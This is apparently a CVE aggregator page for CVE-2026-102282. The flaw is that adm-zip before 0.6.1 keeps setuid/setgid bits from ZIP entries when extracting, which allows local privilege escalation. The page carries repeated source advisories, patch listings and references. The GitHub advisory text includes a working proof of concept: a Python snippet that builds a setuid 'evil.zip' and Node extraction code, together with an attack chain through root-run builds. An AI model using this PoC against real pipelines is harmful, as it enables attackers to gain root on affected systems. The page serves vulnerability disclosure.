CVE-2026-102282
adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation
adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.1
adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation
adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.
- Record
CVE-2026-102282- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-732
- Updated
- 2026-11-02
EUVDEUVD-2026-92493
7.1
adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.
- Record
EUVD-2026-92493- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-j5f4-cc29-5x44
7.1
adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation
Summary
adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.
Details
The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:
// headers/entryHeader.js:187
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.
When the flag is on, that value goes straight to the write:
// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);
No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.
PoC
Tested against [email protected] (latest as of 2026-08-01), Node 22, Linux.
- Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it):
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr(zi, '#!/bin/sh\nid\n')
"
- Extract with the flag enabled:
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755 (setuid bit set — the file is root-owned if the extractor runs as root)
- Control — same zip, default extraction (
keepOriginalPermission=false): mode comes out0666, no setuid. The flag is the enabler.
Alternative supply path, if the zip is built in-process with adm-zip's own API:
const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755
Impact
Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.
Realistic chain:
- Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
- A pipeline or service extracts it as root with
keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows. - The root-owned setuid file leaves the build, typically preserved by
cp -a/rsync mode-bit propagation, into the runtime environment. - An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.
Who is impacted: applications and pipelines that extract untrusted archives with…
- Record
GHSA-j5f4-cc29-5x44- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-732
- Updated
- 2026-11-02
NVD
7.1
adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.
- Record
CVE-2026-102282- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-732
- Updated
- 2026-11-02
OSV
7.1
adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation
adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.
- Record
CVE-2026-102282- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-732
- Updated
- 2026-11-02
OSVGHSA-j5f4-cc29-5x44
7.1
adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation
Summary
adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.
Details
The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:
// headers/entryHeader.js:187
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.
When the flag is on, that value goes straight to the write:
// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);
No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.
PoC
Tested against [email protected] (latest as of 2026-08-01), Node 22, Linux.
- Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it):
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr(zi, '#!/bin/sh\nid\n')
"
- Extract with the flag enabled:
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755 (setuid bit set — the file is root-owned if the extractor runs as root)
- Control — same zip, default extraction (
keepOriginalPermission=false): mode comes out0666, no setuid. The flag is the enabler.
Alternative supply path, if the zip is built in-process with adm-zip's own API:
const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755
Impact
Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.
Realistic chain:
- Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
- A pipeline or service extracts it as root with
keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows. - The root-owned setuid file leaves the build, typically preserved by
cp -a/rsync mode-bit propagation, into the runtime environment. - An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.
Who is impacted: applications and pipelines that extract untrusted archives with…
- Record
GHSA-j5f4-cc29-5x44- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-732
- Updated
- 2026-11-02
Show 7 moreShow less
OSVROOT-APP-NPM-CVE-2026-102282
7.1
CVE-2026-102282 in adm-zip - Patched by Root
Root has patched CVE-2026-102282 in the adm-zip package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-102282- CVSS 3.1
- 7.1 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-06
OSVCLSA-2026-1790755853 No score
TuxCare security update for adm-zip (1 CVE)
TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.18-tuxcare.5.
- Record
CLSA-2026-1790755853- Updated
- 2026-11-02
OSVCLSA-2026-1790760941 No score
TuxCare security update for adm-zip (1 CVE)
TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.6.0-tuxcare.4.
- Record
CLSA-2026-1790760941- Updated
- 2026-11-02
OSVCLSA-2026-1790854753 No score
TuxCare security update for adm-zip (1 CVE)
TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.17-tuxcare.3.
- Record
CLSA-2026-1790854753- Updated
- 2026-11-02
OSVCLSA-2026-1790856818 No score
TuxCare security update for adm-zip (1 CVE)
TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.16-tuxcare.3.
- Record
CLSA-2026-1790856818- Updated
- 2026-11-02
OSVCLSA-2026-1790864771 No score
TuxCare security update for adm-zip (1 CVE)
TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.12-tuxcare.2.
- Record
CLSA-2026-1790864771- Updated
- 2026-11-02
OSVCLSA-2026-1790868324 No score
TuxCare security update for adm-zip (1 CVE)
TuxCare rebuilt adm-zip to address 1 CVE. Fixed in 0.5.10-tuxcare.2.
- Record
CLSA-2026-1790868324- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
adm-zipnpm |
through 0.6.0 | 0.6.1 |
adm-zipTuxCare:npm |
0.5.18-tuxcare.0 up to 0.5.18-tuxcare.5, plus listed versions 0.5.180.5.18-tuxcare.10.5.18-tuxcare.20.5.18-tuxcare.30.5.18-tuxcare.4 |
0.5.18-tuxcare.5 |
adm-zipTuxCare:npm |
0.6.0-tuxcare.0 up to 0.6.0-tuxcare.4, plus listed versions 0.6.00.6.0-tuxcare.10.6.0-tuxcare.20.6.0-tuxcare.3 |
0.6.0-tuxcare.4 |
adm-zipTuxCare:npm |
0.5.17-tuxcare.0 up to 0.5.17-tuxcare.3, plus listed versions 0.5.170.5.17-tuxcare.10.5.17-tuxcare.2 |
0.5.17-tuxcare.3 |
adm-zipTuxCare:npm |
0.5.16-tuxcare.0 up to 0.5.16-tuxcare.3, plus listed versions 0.5.160.5.16-tuxcare.10.5.16-tuxcare.2 |
0.5.16-tuxcare.3 |
adm-zipTuxCare:npm |
0.5.12-tuxcare.0 up to 0.5.12-tuxcare.2, plus listed versions 0.5.120.5.12-tuxcare.1 |
0.5.12-tuxcare.2 |
adm-zipTuxCare:npm |
0.5.10-tuxcare.0 up to 0.5.10-tuxcare.2, plus listed versions 0.5.100.5.10-tuxcare.1 |
0.5.10-tuxcare.2 |
adm-zipnpm |
before 0.6.1 | 0.6.1 |
adm-zipRoot:npm |
before 0.6.0-aikido.3 | 0.6.0-aikido.30.5.10-aikido.30.5.10-aikido.40.5.10-aikido.50.5.9-aikido.20.5.18-aikido.30.5.9-aikido.3 |
@rootio/adm-zipRoot:npm |
before 0.6.0-root.io.3 | 0.6.0-root.io.30.5.10-root.io.30.5.10-root.io.40.5.10-root.io.50.5.9-root.io.20.5.18-root.io.30.5.9-root.io.3 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | x86byte/adm-zip_LPE-PoC | 2026-09-23 |
| PoC in GitHub | Ahmed-Elmahgob/POC-CVE-2026-102282 | 2026-10-02 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, exploits, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-102282 is a high vulnerability (CVSS 7.1) in Cthackers Adm-zip, published September 29, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. Fixed in adm-zip 0.6.1.
References
github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44
github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87
github.com/cthackers/adm-zip/releases/tag/v0.6.1
github.com/advisories/GHSA-j5f4-cc29-5x44
github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102282.json
nvd.nist.gov/vuln/detail/CVE-2026-102282
github.com/cthackers/adm-zip
Left out here: the rest of 2 source descriptions. The JSON record has them.